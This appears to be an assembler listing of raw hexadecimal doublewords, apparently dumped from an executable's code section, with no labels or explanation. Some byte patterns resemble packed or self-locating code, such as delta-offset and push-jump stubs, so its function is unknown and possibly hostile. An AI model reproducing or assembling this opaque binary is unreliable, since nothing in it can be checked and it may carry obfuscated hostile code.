		dd 1F498D8Dh, 6A510603h, 6DB5FF40h, 0FF060322h,	32CB5B5h
		dd 0FFD0FF06h, 3226DB5h, 0B5B5FF06h, 0E806032Ch, 12h, 63FE6D2Ah
		dd 0DC440032h, 0D221BCB5h, 0E87B5528h, 5959B7AEh, 0C104E983h
		dd 0C102242Ch, 3022424h, 1CF7240Ch, 6824h, 0FF5E0000h
		dd 81580E34h, 26E5DC0h,	4F08170h, 81077F34h, 228540F0h
		dd 31048967h, 3B04EE83h, 850F2434h, 0FFFFFFDBh,	1F8D9D8Dh
		dd 38B0603h, 840FC00Bh,	7, 5B8B038Bh, 8B188904h, 0ABE9C9h
		dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0A601E800h, 323D94E7h, 17BE4B83h, 1248E912h,	47680000h
		dd 0E9060985h, 0FFF9F9EDh, 9860168h, 0F9E3E906h, 0CD68FFF9h
		dd 0E9060986h, 0FFF9F9D9h, 9882F68h, 0F9CFE906h, 0A068FFF9h
		dd 0E9060988h, 0FFF9F9C5h, 9896168h, 0F9BBE906h, 2B68FFF9h
		dd 0E906098Ah, 0FFF9F9B1h, 98ABC68h, 0F9A7E906h, 7C68FFF9h
		dd 0E906098Bh, 0FFF9F99Dh, 98CE568h, 0F993E906h, 0C368FFF9h
		dd 0E906098Dh, 0FFF9F989h, 98F0668h, 0F97FE906h, 4B68FFF9h
		dd 0E9060990h, 0FFF9F975h, 9921568h, 0F96BE906h, 5F68FFF9h
		dd 0E9060993h, 0FFF9F961h, 26AA4B2Eh, 0AB39C253h, 0C58B30C6h
		dd 751B9C70h, 0E6EA0FE0h, 0F485D10Ch, 643499CFh, 0DAB80D43h
		dd 472EB3D1h, 179322A6h, 56C9A33h, 9556E671h, 618A6C01h
		dd 0F2F39A67h, 8460CF9Ah, 0FFE90EE1h, 167A7B12h, 0F6B02E59h
		dd 12007C52h, 13AF3A75h, 451A9B72h, 2A75F074h, 57378D16h
		dd 0B08128Fh, 0B5581E71h, 0A43D0DE3h, 18710B07h, 0E3E6E64Dh
		dd 0BED3105h, 936964F1h, 4BEEh,	5E010900h, 71AFF4C2h, 0B17EFAF5h
		dd 0BA8E28C6h, 7511EF08h, 0F697D386h, 22D25625h, 220189BFh
		dd 16503557h, 0AF59932h, 0F470E771h, 0F5CF4C94h, 8F61710Ah
		dd 0F99F626Ah, 0EC2098F0h, 0C9771EB8h, 57899385h, 0B5469369h
		dd 0F1000000h, 2AA2432Ah, 5F09B247h, 0F29A1BF2h, 6167886Fh
		dd 0EEDC3D9h, 0B2472677h, 0AE0A5F09h, 0DDB334DBh, 103DB063h
		dd 3EBD975Eh, 0A7482F42h, 0F9F78225h, 71FF69C1h, 0AE3D7511h
		dd 0E4028D3Ah, 1A507ECAh, 0E3CE6F09h, 37E1EB0Ch, 8B97A13h
		dd 8413C677h, 0BEC8139h, 2366422Ch, 126794Fh, 256F62ACh
		dd 7014E34Eh, 14340CEDh, 7708107Bh, 0F48F1AC1h,	0E6D9355Fh
		dd 0E917CAA2h, 6D00000Fh, 967B698Eh, 5E8FC05h, 0B71A4E73h
		dd 278ADEDFh, 493BA952h, 0B237D88Eh, 6A74BDEh, 941DFF42h
		dd 658A6DF0h, 0F0585E67h, 71056B57h, 2A5013A5h,	4528BC45h
		dd 245F0DB2h, 4B6785F0h, 11FF4DFFh, 7414C375h, 0BDF2FACh
		dd 9A3DFD71h, 7BCCB367h, 63AB6C4h, 9ABEC6D2h, 93B99369h
		dd 3A000000h, 67886C01h, 8B6D6065h, 10E78A66h, 7F10FDEFh
		dd 0C1A4127Ah, 1E2E8A2Fh, 770EEE08h, 6402A34Ah,	0EE059EAAh
		dd 0EC7B770Eh, 6E97C10h, 0B5C0E7E1h, 45AF7B37h,	0FB7511FEh
		dd 444F786Ch, 232008A6h, 916F0978h, 38D9ACCAh, 0A748DDB3h
		dd 6CF06302h, 4D1DE6D9h, 0F2F90h, 0A7482B00h, 3ABF5C21h
		dd 842DC356h, 14997DC0h, 0E70CED70h, 86D403E1h,	3184C8F1h
		dd 0A5085C61h, 2BBED2D7h, 942DA344h, 6A9D3612h,	51E37105h
		dd 0BC452A92h, 0DB24528h, 432A245Fh, 0B0472AA2h, 22F4590Fh
		dd 8B62CF99h, 5E57666Ah, 6703A1ECh, 0B2E6D1B4h,	74A28E3h
		dd 0B7F14F70h, 1137BD93h, 86147B75h, 0F4019AAEh, 0E87F710Ah
		dd 15F8B61Dh, 0C5807C81h, 8522E563h, 3CBAC59Dh,	5398A682h
		dd 0BE618388h, 0F8D7D6AAh, 8CA503C1h, 8DF88FD9h, 0DF99536Fh
		dd 8437D24Bh, 3DBB2E7Fh, 8224BCEDh, 0A576177Dh,	0B97428D6h
		dd 69F42C53h, 96676A7Fh, 2BBE976Dh, 5D30D58Fh, 0E689DC58h
		dd 573E83C1h, 21A1F56h,	0FDF1753h, 0E63D2h, 9314E700h
		dd 668B68FDh, 0F0F99F62h, 4065099Ch, 0D3D8B90Ch, 520837BDh
		dd 0CD5034BDh, 71C4882Dh, 0E74A1EA3h, 0D8F9EF10h, 6AD14ADEh
		dd 9D2F7105h, 0A2432ADEh, 0F4F29D2Ah, 8C6D00BAh, 0C3A18967h
		dd 717511FDh, 5538E6EAh, 3BAE3EC3h, 6987F2BDh, 0FDF3F951h
		dd 0AA316F0Eh, 0BD7D1A22h, 0EF8B770Eh, 83A77D1Eh, 770EBE0Ah
		dd 7414E376h, 73A79B11h, 6D1F5F65h, 0CDA14499h,	554E4C28h
		dd 2C000000h, 5537BC59h, 0F03FB430h, 914B6785h,	0EF020B9h
		dd 0B62FFB77h, 0A770EF0h, 1B91445Fh, 0AB3CCD5Dh, 25B07511h
		dd 911AF88Dh, 5D6634D9h, 0E07B83E7h, 14710BA3h,	85687C81h
		dd 9FB938F7h, 1B43D02Ah, 8B5ADC8Ch, 0F8BBDCE5h,	2CEB99EEh
		dd 913D209Ch, 4000000Dh, 0F89F85F0h, 0AFF095F7h, 3AF324B2h
		dd 7C3A81AAh, 8185AACh,	6D05D075h, 4223F598h, 54008B1h
		dd 51A8A03h, 9463F671h,	0D1A746F0h, 56394C28h, 5703751h
		dd 709E082Dh, 5673FD8h,	892EBD71h, 0CBA9A016h, 5423A626h
		dd 4A99B1C9h, 0A16EFF14h, 207BC3FEh, 308C2725h,	592C4A11h
		dd 0CE5331B6h, 0C79D7E27h, 0ED8EA63h, 34835677h, 0FD883FA9h
		dd 5967C3FFh, 0A07511D6h, 0C48429CDh, 0A70A2B81h, 2F462DD6h
		dd 0E0DCCE20h, 1F815F5h, 500000Dh, 8E137176h, 3D80C4EDh
		dd 0AF32565Bh, 0DFA226C7h, 51D3B13Ah, 9A1FF0A6h, 6E8F63F6h
		dd 0FC05977Ah, 4D7205E8h, 0E840461Fh, 7105686Fh, 6FB83BCDh
		dd 770EF0F2h, 730FADD8h, 86F00D7h, 0DD954075h, 0C406508h
		dd 0B7D1D6B9h, 4B6785F0h, 87C01FFh, 0D787586Fh,	62FB4FABh
		dd 0DE77049Dh, 4F83760Bh, 0E0774E2Ah, 0D5E73CC1h, 10CD9DE6h
		dd 0C90h, 82C6E78Ah, 37555E3Fh,	0A127CCA2h, 0D1B738DCh
		dd 4206AB4Ch, 906135E0h, 90656Bh, 7604E9FFh, 0E38A1F4Dh
		dd 0B3F78EC2h, 568FE97h, 31B24271h, 2AA2432Ah, 5D0FB047h
		dd 100054C8h, 996D4E0Ch, 6ADCBh, 85F07400h, 13FF4B67h
		dd 0D75086Fh, 0BE2ECFA6h, 0D4B43DD3h, 235F2AB1h, 6E48C169h
		dd 21B47105h, 95780D4Bh, 6E97C10h, 879BFE2Bh, 9D686043h
		dd 95A623CBh, 90757105h, 3F90F8FDh, 89BA85DBh, 0DF5520ABh
		dd 4B4D2550h, 0C7C436CCh, 402421A5h, 339EB153h,	0F8500AA4h
		dd 7105845Fh, 0BAD1C4DDh, 0BA0F13D2h, 2DD6B82Fh, 33311957h
		dd 16F0812h, 2A601B5Ah,	6DFDE6D5h, 0BCFF0h, 7A84B00h, 9A1FFC41h
		dd 648D63F6h, 0F4F99D60h, 476C0D90h, 2674A301h,	5124A851h
		dd 0C5A83CC1h, 4BDEB237h, 344D03A4h, 673DD672h,	0F1837105h
		dd 0A2432A72h, 0A28D6104h, 78A3B3CEh, 4314E3E4h, 21A145C0h
		dd 5E2E8A9Ah, 0F19B1CF3h, 2ACB9A54h, 8F5DF652h,	34A3770Eh
		dd 0A03911A9h, 1C770E8Fh, 9BCFF349h, 737805E8h,	0ECB6CEF5h
		dd 0BFB1996Ch, 0C2000005h, 0EF0F26Fh, 0FADD877h, 44D4B973h
		dd 0C0BC29A3h, 86D5CE8h, 4428BD75h, 81ECC5A3h, 437FCAEFh
		dd 0ED16E489h, 0D6C9EEFBh, 90C2DBA9h, 17FE9369h, 886FF296h
		dd 37426567h, 0E34701B9h, 7105666Ah, 0EBA503D6h, 874615Fh
		dd 6908DF6Fh, 0E6D54C98h, 55CB159h, 100000Bh, 8A1F4D72h
		dd 398CC0E9h, 0AB3E5257h, 0DBAE22C3h, 55DF8D36h, 961BFCAAh
		dd 6A8B6FF2h, 0F8019366h, 496E0194h, 0EC3C7A1Bh, 71056673h
		dd 2A4427C9h, 5304A243h, 8A8A393Bh, 8F34C526h, 59244420h
		dd 0F25731B6h, 61E1A4Eh, 0C1996C75h, 516h, 6785F072h, 6D3AFF4Bh
		dd 63F67508h, 2ECFA647h, 0BF40D7BAh, 0F59A6B2Dh, 0BB5870CCh
		dd 0AF71056Dh, 80A8C6E4h, 6F087BA2h, 9D5C3D90h,	248C792Dh
		dd 6DF84766h, 0D50C8752h, 0AFA24AE6h, 0A74h, 0EEE20396h
		dd 13717A1Bh, 8DC3E88Eh, 3D535438h, 0AE22C7A8h,	0AC4D19C4h
		dd 1CFC4107h, 9260F59Bh, 0FF967B69h, 0CFCBEAFEh, 566E27Bh
		dd 0CDAE5E71h, 0A768432Ah, 89BAF831h, 0EF721AE1h, 0AE7A3408h
		dd 770E6E35h, 53CCDC8Bh, 0A9770E6Eh, 0A8355722h, 0C6AB3DC6h
		dd 4CDF892Eh, 67328CD0h, 718B6DB1h, 6E996CCCh, 46Eh, 1DB6924Ch
		dd 63770E67h, 6FFB78F4h, 770EF0F5h, 7A34B2DDh, 86D34AEh
		dd 0A3DF8A75h, 8B7404E9h, 1577C2E3h, 0B4452F70h, 0EE7D4324h
		dd 17987F12h, 0E409EC71h, 515A3BCAh, 89F4B3DBh,	0F0954F6Bh
		dd 9ACF9922h, 0F5880E1Eh, 73E66F08h, 0D5CE6B30h, 0BB5636E6h
		dd 9B4h, 0AE22C356h, 0D3B13ADBh, 4D03A84Eh, 0FD9314F8h
		dd 6E628768h, 6C0D5984h, 0DCBC0147h, 5220B5DBh,	0BF563BA9h
		dd 8F0BAA3Eh, 56522BBh,	0DEE9E71h, 2AA2432Ah, 5D0FB047h
		dd 0CE9E23F0h, 616B8C63h, 0E65084B8h, 7B3367DDh, 84571394h
		dd 0A6266BCDh, 0DFB309DCh, 6D131014h, 160CF99h,	0D8AD0000h
		dd 0B3D6B63Bh, 3FB53EDCh, 8F6C0144h, 40F92FA0h,	432EE983h
		dd 2ED80E5h, 7A49D4Fh, 38D179C5h, 84770E32h, 0EDFF4AD1h
		dd 0D3C3682Bh, 7F78FC24h, 0DD6EE743h, 7D2770Eh,	4631C4A9h
		dd 0AACE5ADDh, 85A5DDE4h, 770E520Ch, 4A1EE570h,	1A54523Dh
		dd 0B2B3BF60h, 6471C5D2h, 0B6EAA088h, 3DA87511h, 980683ABh
		dd 1E02710Bh, 24CA9BCAh, 0CE47E39Fh, 32710B97h,	0E2FAC9A7h
		dd 9D9369F4h, 3Eh, 6785F01Eh, 0FF4DFF4Bh, 0F3A47511h, 0B65E8105h
		dd 0A2A56031h, 57D24BDFh, 0BB2E710Bh, 0EA71502Ch, 57BD5AE2h
		dd 0D54B710Bh, 0B98D9781h, 77169369h, 0A54B1E9Fh, 0A3194C1Ch
		dd 93B9h, 432A3A00h, 0AD5304A2h, 81640400h, 7CC1A907h
		dd 0EB76169Bh, 4E9E304h, 0F0184C71h, 770E8B4Ah,	0F8EC11E4h
		dd 8826C4CFh, 555E3FCEh, 3AE0CFDFh, 5637750Ch, 65BC38C1h
		dd 44D5B8F6h, 0B34429BFh, 29B4770Eh, 9179E0DAh,	84B7Ch
		dd 8B2CCF00h, 1EA370C5h, 0E811E74Ah, 787D11E4h,	0CBF08114h
		dd 0BAF02F85h, 0D5B82CD5h, 592CA045h, 0CF5236BBh, 0B0C18728h
		dd 64B952F6h, 75077105h, 0BC452AF6h, 0FE9F6E28h, 7AF693F5h
		dd 437F8017h, 0A028D1A2h, 0B83B4F25h, 2AA2432Ah, 590FB047h
		dd 25984h, 85F03F00h, 15FF4B67h, 0B7511F7h, 67E40C5Ch
		dd 0A5710BD6h, 6E936005h, 89566B7Eh, 0F6D11A5Bh, 14387CF8h
		dd 69A4F80Ch, 2EF1AB93h, 0A81C5E9Fh, 50C9C394h,	0AC710B61h
		dd 0F5594339h, 0DA000001h, 0EF0F76Fh, 36B4DF77h, 6D2CD078h
		dd 18ED7508h, 7316767Bh, 7109DCF5h, 0BAF4F99Ch,	1DA2432Bh
		dd 6D6A730Fh, 8CE05CB7h, 19A27312h, 7E27CEA3h, 0C4841398h
		dd 9CDAD8A3h, 8AE068Ch,	0BEF1646Fh, 0E6D59709h,	6D2D20C8h
		dd 0E9000007h, 12E7E50Ah, 81147881h, 3386CAEFh,	0A3365A5Bh
		dd 0CDA725CEh, 0EB34412h, 8223F75Ah, 10997BCEh,	0E106E97Ch
		dd 74D4D2E3h, 710563DBh, 2ADC9F21h, 31B65A43h, 0B85F22AAh
		dd 4EF65537h, 0C2AD401Ah, 0B9169C9Dh, 1775C048h, 0C25BEFA9h
		dd 59770EADh, 0EAD58F1h, 1E31A477h, 0BEC6ED4Bh,	0B9996D0Eh
		dd 144h, 8C6C013Ah, 15F88D6Bh, 8215F890h, 9CCCF185h, 0F6B27F03h
		dd 0C857E00Ch, 35406F7Dh, 792FFBB7h, 37751165h,	830028A0h
		dd 81710B65h, 821B2FE9h, 0FE710B65h, 65A98D6Bh,	69C36973h
		dd 356693h, 0B1540000h,	0D98CDCE1h, 85F0E063h, 4DFF4B67h
		dd 0C37511FFh, 0EA8B5A14h, 0FB036BC1h, 710BDF5Eh, 432276AAh
		dd 7D4E1C90h, 75F3B3D8h, 69C7364Eh, 0B03193h, 2A420000h
		dd 472AA243h, 0F25F09B2h, 44F29A1Bh, 0F025BE8Ah, 0CC9B770Eh
		dd 757A1D70h, 0BE31C717h, 0CE3770Eh, 0BFCAE5EBh, 3ECF8921h
		dd 52375156h, 39E7F6D6h, 0B259750Ch, 797E11F4h,	881A96Fh
		dd 747108F2h, 0E09E1AE1h, 0F0B14726h, 97F29A1Fh, 46054008h
		dd 0DCB10FB4h, 4FD2B63Bh, 536E01AAh, 86E0DA2Bh,	62A6BE6h
		dd 4D2C0000h, 0C45124A8h, 32C4A93Fh, 9E76DB89h,	11E64B19h
		dd 0CF0EE4E8h, 9FCDF69Bh, 341660Ah, 0B1D7DCBEh,	20A4492Ch
		dd 98311991h, 0E4710561h, 452A9754h, 0B24528BCh, 0DEEDCFC7h
		dd 0E09EDF77h, 0EBACF48h, 0D3BE2D77h, 432AC6BDh, 916104A2h
		dd 93697C6Ch, 899A3DFBh
		dd 581FEA95h, 0D8BFD2AEh, 275CB1D7h, 0E7000000h, 2AA2432Ah
		dd 20F7B047h, 87129367h, 533580C5h, 0EC6B2CEAh,	2BD715FBh
		dd 14387CF8h, 563ABB52h, 2CB3h,	432AC200h, 287DD768h, 61CC7265h
		dd 8341DF67h, 1EF3770Eh, 896EF395h, 83A16860h, 5315FF5Fh
		dd 8FD9DEB2h, 365A5EDAh, 7014997Ch, 0A2432A03h,	0F4F29D2Ah
		dd 6E1C6EBAh, 0BB757508h, 6DB02901h, 590C7105h,	56DD64Fh
		dd 0C1BF2A71h, 0A83D75E0h, 0E78620C5h, 7E12EE0Fh, 0C7E304EBh
		dd 0CDAB5026h, 617F0ABDh, 0EBB2E149h, 0FB6E6EFEh, 8C6005BFh
		dd 15F88D6Bh, 0EF6EE743h, 7D2770Eh, 0AE41D4B8h,	34D95F09h
		dd 5C094364h, 8E2C57E0h, 74791DF0h, 0FE7A7F11h,	0ED5A68C0h
		dd 2EBF7511h, 33B45849h, 27A10C59h, 0B2EFC6A2h,	5E465F2Dh
		dd 7B3A8127h, 0E0DCC05Ah, 0E50AC7A7h, 61000004h, 0EA7F6D92h
		dd 19ECE009h, 8B1E7277h, 3B8EC2E3h, 0B53FAD56h,	0B63BDC8Ah
		dd 0AAB4FD2h, 9821F346h, 698E61F4h, 0CC5C5A7Bh,	71056053h
		dd 2A6407A9h, 702EA243h, 7AF6FB9Dh, 6D7F8017h, 80C8ED80h
		dd 0B5CD1103h, 118FDDE2h, 0FD8EFC4Eh, 5DDB89F0h, 6CCE4E56h
		dd 500999h, 0F0AA0000h,	0FF4B6785h, 7511AB4Eh, 0A15B17C2h
		dd 288429CCh, 5E32B745h, 456A0DE0h, 0C2EA4603h,	710BA347h
		dd 0DD951AFDh, 0EA466B08h, 0A2751886h, 0A21E4B1Dh, 0ED4E2DCFh
		dd 0DA73D718h, 26710AFDh, 9EDBEEB3h, 88450792h,	440h, 70791FEEh
		dd 432A7FF4h, 0B0472AA2h, 632E590Fh, 471D2D45h,	0C5751200h
		dd 31AE7616h, 0FF710BE0h, 11B1D41h, 0FE936A3Eh,	50h, 0AD85F079h
		dd 9C9EBC13h, 852ECFB8h, 663B86C3h, 1DCD3A5Ch, 0AFCB56B7h
		dd 1171E99Bh, 98F06775h, 0B51D370h, 0BFE35171h,	94950BCCh
		dd 0F0E9D91Ch, 2E354F74h, 9F6E936Ah, 8D0622FAh,	0F3710BC8h
		dd 62CF9964h, 67626A8Bh, 0FF3E1C98h, 0B9000000h, 4A2432Ah
		dd 918E61h, 0F8906CFBh,	9CAC8415h, 770EF103h, 6B079279h
		dd 0F10099B1h, 0E97C770Eh, 0FF967B13h, 6C03EEFEh, 0DFF5054Bh
		dd 11770EEDh, 0CCF1817Eh, 6E62C99Ch, 99F3F49Bh,	0D5CFA3EEh
		dd 5202D4C8h, 0EAA4C2A9h, 0E23C55Eh, 0D0AC3B77h, 4184B296h
		dd 9FF27511h, 7B69F4FDh, 0D870414Ch, 710B023Fh,	2D54EDAh
		dd 0BC2B710Bh, 4F6BF665h, 8B2E6FBh, 0FBB7226Fh,	7DCD8741h
		dd 770892E4h, 29B8D58h,	7E770893h, 0ED16E4EBh, 7F12EEFBh
		dd 0EE73119Ah, 0DB402A09h, 0C5BB6221h, 0B46C477Eh, 9971E6D9h
		dd 31B44h, 5B5C3F00h, 2ED3A035h, 0B841D7BAh, 8AD41D4h
		dd 9B20F144h, 0EAC07FF5h, 5E8FC05h, 891C7075h, 3F82C6EBh
		dd 60315758h, 5E890226h, 45F77105h, 44452AA6h, 0D44DDDB3h
		dd 28770EF0h, 54BD6BDh,	8029CA9Bh, 42279DC8h, 9B20F2ABh
		dd 0B85B2BC6h, 0D6BD08F6h, 5E01C1B2h, 7782C421h, 0DBA3633h
		dd 3444AE82h, 8BDA1E25h, 99BF2536h, 0D8A7323Dh,	852ECF9Eh
		dd 6C2A86C3h, 11022ADCh, 4BFFA075h, 8894AAF2h, 742E48D7h
		dd 0B6D3BD4h, 4A228171h, 0DBA623A5h, 68E50D5Dh,	0A4710B6Dh
		dd 384C5478h, 379369CFh, 0F9h, 8C6C0140h, 62FB4F6Bh, 0DE770EF0h
		dd 35D8AD0Bh, 0B61DA648h, 0E5A64BD6h, 0ECF99318h, 0A9BF4701h
		dd 2B770EEDh, 6607A344h, 697C6C95h, 836AFF93h, 325D6A62h
		dd 0ECCBAA4Ch, 9D7D56Dh, 0EEFBED78h, 0F3AD6703h, 6F797E12h
		dd 0EDB9527Ah, 5007770Eh, 0AC6F4D4h, 0A1347512h, 6E936409h
		dd 0C6B1FE92h, 3D48E28h, 0F8E5DA8Ch, 2505E3EAh,	6F093B0Fh
		dd 0CDA0DE8Dh, 712F852Ah, 6A0EFB9Ch, 4C0CED8Fh,	92799C32h
		dd 1BFC4107h, 3F06565Ch, 750AECA1h, 8976C41Bh, 2A45D017h
		dd 0E6D9C7B5h, 0D1498464h, 75000001h, 0FE4301A6h, 6DF0941Dh
		dd 9F62668Bh, 0F92F6F7h, 0A103416Ah, 0AA4F2076h, 3EBF5326h
		dd 8C35C7AAh, 1DA275D8h, 0D870364Fh, 71055D3Fh,	2A680BBDh
		dd 6302BC45h, 0FF936992h, 99B1836Ah, 770EF100h,	3E4CB502h
		dd 587B1AD0h, 0D788268Dh, 49B668D7h, 70149067h,	0A2432A03h
		dd 0FB0472Ah, 9C21F459h, 2AD0BBCCh, 9BD7A243h, 11EA318Fh
		dd 9AAE6875h, 710BE201h, 350CE87Fh, 87BD26A6h, 556F3053h
		dd 0DB3ED470h, 0EB82E75Dh, 471886CAh, 3D94A515h, 57E05C0Fh
		dd 58F08E2Ch, 6F0EEE9Eh, 5C31491Ch, 0CD46E2BAh,	33770EDEh
		dd 0B63D9A4h, 3FD6CFA6h, 2CBB2EBEh, 0EB3FF5BCh,	2A059578h
		dd 0BA905C13h, 0EE4AD154h, 0FEB83641h, 206BE444h, 0D5AF770Eh
		dd 0F010D4AFh, 77CD98BBh, 6B571139h, 76E57511h,	2DC1A412h
		dd 9D7DC088h, 52378D18h, 0CF523ABBh, 1BEA842Dh,	94F47079h
		dd 0C981D5EFh, 0A4C38126h, 0FC9FDBD9h, 0F80310E2h, 0E71EA336h
		dd 53794457h, 0BE8AC4A0h, 6F0E3D40h, 0B7616BFEh, 1BBC45D6h
		dd 398EB39h, 0BFD2AE67h, 0CEB5D7D8h, 22C3A2F6h,	5024AB50h
		dd 0CCA83DAFh, 0DC9A1863h, 11C9EE4Ch, 0CB994C75h, 3B19D1BCh
		dd 4E4866D7h, 30EA8413h, 0BC38BD5Dh, 4BD126Ch, 2BBD286Fh
		dd 5A0EAF46h, 0CD9F20F7h, 0EAD6CC25h, 8F5E1882h, 5569C7E8h
		dd 0EB836201h, 0D6983119h, 71E462FAh, 0EE0FE7EAh, 17987F12h
		dd 0E409EC71h, 0BC5332E4h, 4428BD3Bh, 0B24429A3h, 1BF25F09h
		dd 31A55050h, 836EE8CDh, 0B6DA5AC9h, 16F7A704h,	786D7F84h
		dd 0D294B8FCh, 69FCBA3Bh, 7C696388h, 7619EC80h,	0DFA1771h
		dd 79000000h, 9D8E6C01h, 0F590F8FDh, 0DDD6926Eh, 26A6472Ah
		dd 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h,	5476C0Dh
		dd 0B9D3D4B8h, 2FB942D4h, 4008B142h, 6A75680Bh,	0C890000h
		dd 59086824h, 1C890000h, 68266824h, 4890000h, 84046824h
		dd 1C8B0609h, 4C48324h,	24048B54h, 5104C483h, 8BF57h, 0F9890000h
		dd 89C1015Fh, 34FF5919h, 0C4815824h, 4,	50241C8Bh, 405E089h
		dd 5000000h, 4,	5C240487h, 0F9E7B4E9h, 0DDD55BFFh, 55B8F73Ah
		dd 3060995h, 76E0FFC5h,	1421C8EAh, 0A91566CFh, 1757525Ch
		dd 0FA70CB83h, 0F5B6EE4h, 863902E8h, 0B3396E80h, 554E88B8h
		dd 54549827h, 0F913914Ch, 56336A4Ch, 0C00725D2h, 324E3ABBh
		dd 0F1C6B4Bh, 4E091380h, 894E2948h, 950852EAh, 0CA2A7CA1h
		dd 5735AC12h, 0D018100h, 843D47D3h, 221E22C4h, 31416A67h
		dd 971DDE6Eh, 237D7DBBh, 3C4491BDh, 0A4180EFEh,	0E93DAAC9h
		dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 609963Dh,	3D08428Bh
		dd 78263845h, 138850Fh,	428B0000h, 184A8B0Ch, 3BBBC8D3h
		dd 3397D63Ah, 4E883C3h,	31D18589h, 588B0603h, 8BF88B04h
		dd 4A8B1042h, 0BEC8D318h, 8FB1BC33h, 0C72BC633h, 83FCE083h
		dd 858904E8h, 60301E1h,	8914428Bh, 321BD85h, 18428B06h
		dd 0B0E953h, 0B5FF0000h, 6031CF1h, 0B9E9h, 0E9B5FF00h
		dd 0E9060313h, 0AEh, 21ADB5FFh,	0A3E90603h, 0FF000000h
		dd 32961B5h, 98E906h, 0B5FF0000h, 60323C5h, 8DE9h, 5DB5FF00h
		dd 0E9060323h, 82h, 2221B5FFh, 77E90603h, 0FF000000h, 321D9B5h
		dd 6CE906h, 0B5FF0000h,	60322F9h, 61E9h, 0A9B5FF00h, 0E9060330h
		dd 56h,	324DB5FFh, 4BE90603h, 0FF000000h, 31A15B5h, 40E906h
		dd 0B5FF0000h, 60310CDh, 35E9h,	31B5FF00h, 0E906031Ah
		dd 2Ah,	1375B5FFh, 1FE90603h, 0FF000000h, 30625B5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 969E8D8Dh
		dd 0C8030609h, 95FFE1FFh, 6032691h, 0D1858B5Bh,	39060331h
		dd 850F0458h, 0Fh, 0FF016A53h, 31FB995h, 0E2E95B06h, 61FFFFFFh
		dd 5A61C35Ah, 0D4C96AB8h, 8BE0FF77h, 3128585h, 8C8D8D06h
		dd 89060997h, 0C38B0141h, 98FB8D8Dh, 6A0609h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0DCADA1C3h
		dd 0A330454Ch, 0D18D8955h, 6A060331h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F529C355h
		dd 9CF791CFh, 0CB4BE497h, 0B232BF66h, 88C0Fh, 8F0F0000h
		dd 2, 85C7C6B4h, 60301E1h, 6190h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 92C35141h, 12E8h, 56787600h
		dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 0FD787DFh, 68Dh
		dd 4EC28100h, 5A68B2D3h, 9860Fh, 810F0000h, 3, 0C7F88B66h
		dd 321BD85h, 6,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 54D1D316h, 6F5CC845h
		dd 0ACD9D03h, 0D2810603h, 64BBC85Dh, 23C5B5FFh,	6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 7BA155C3h, 0C34E6944h, 850FE767h, 6,	0C698D89h, 95FF0603h
		dd 6032691h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	6CC35040h, 95FF006Ah, 6031FB9h,	39EBC08Bh, 337B3676h
		dd 7C1DA9EAh, 0F5A5C5E1h, 670AEBF3h, 880C8204h,	0FF037462h
		dd 8E88A82Dh, 9D92654Bh, 6290A168h, 1DE411ECh, 20060809h
		dd 583C9784h, 0B5F2D0E0h, 2147A8F2h, 5E86Bh, 39650000h
		dd 5E1B3413h, 0E3C0B966h, 628DC681h, 0B8FC0000h, 483AC25Ch
		dd 0A9D4E881h, 8A0F483Ah, 3, 0FFA0C180h, 21BD8B36h, 5A060300h
		dd 4C7DEA81h, 0BD29632Eh, 6032E49h, 0DA4AC281h,	870F5BE3h
		dd 6, 2D1D9D89h, 0F2810603h, 14DC26F1h,	0EFD98166h, 8FF952B0h
		dd 7C14BF06h, 0EE830520h, 1E88304h, 0FFB9850Fh,	87BFFFFFh
		dd 0E81F3C93h, 7, 11D220C4h, 297278D2h,	32CFD95h, 0BD8B5806h
		dd 6031ED1h, 6A69C081h,	0D08A0000h, 890FF62Bh, 2, 1C8B2AB6h
		dd 11E830h, 62EF0000h, 4C4173E1h, 1B06C538h, 9E67B48Eh
		dd 29B4F912h, 332719Dh,	0EB815F06h, 5BA5EEC5h, 0CA2AC181h
		dd 0EB810D37h, 31498CE4h, 0E2B3B966h, 2441EB81h, 896054B7h
		dd 31A99BDh, 4AB86606h,	1C896135h, 48A0F30h, 66000000h
		dd 8B45CFBAh, 0D0EE81FEh, 667186AAh, 0C681CE8Bh, 7186AACCh
		dd 29E1950Bh, 0FE810603h, 0FFFF9634h, 0FF88850Fh, 8B66FFFFh
		dd 8EBCAh, 22000000h, 0E90E02C5h, 4EEh,	99B4C68h, 0E2F7E906h
		dd 0D268FFF9h, 0E906099Bh, 0FFF9E2EDh, 99D3968h, 0E2E3E906h
		dd 0C9A8FFF9h, 40DDA024h, 0AE40D5BBh, 1AF24705h, 8D62F795h
		dd 53826064h, 1B497207h, 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h
		dd 1CB59515h, 60710557h, 452A13D0h, 0AE412CBCh,	612C5B09h
		dd 55032743h, 0C3751208h, 2FAC7414h, 0C1710BC8h, 71DC8C31h
		dd 0F44C1CA1h, 1BAA1438h, 0C192F125h, 17FE85E5h, 0CE93F696h
